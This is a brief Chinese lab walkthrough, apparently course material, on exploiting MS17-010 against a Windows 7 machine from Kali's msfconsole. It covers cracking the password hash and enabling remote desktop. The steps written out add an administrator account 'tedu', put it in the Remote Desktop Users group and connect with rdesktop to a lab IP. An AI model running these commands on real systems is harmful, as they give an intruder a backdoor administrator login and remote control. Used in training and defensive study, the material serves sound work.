MS17-010漏洞入侵 2.1 问题 利用MS17-010漏洞入侵Win7 破解密码 启用远程桌面、添加用户 2.2 步骤 实现此案例需要按照如下步骤进行。
1）在kali上启动msfconsole，漏洞攻击如图-3和图-4所示
图-3
图-4
2）破解密码如图-5所示，密码的hash值可以访问www.cmd5.com破解
图-5
3）启用远程桌面、添加用户tedu
run getgui -e shell net user tedu tedu /add net localgroup administrators tedu /add net localgroup “Remote Desktop Users” tedu /add 4）新建终端，然后运行如下操作
rdesktop –u tedu -p tedu 192.168.198.138:3389
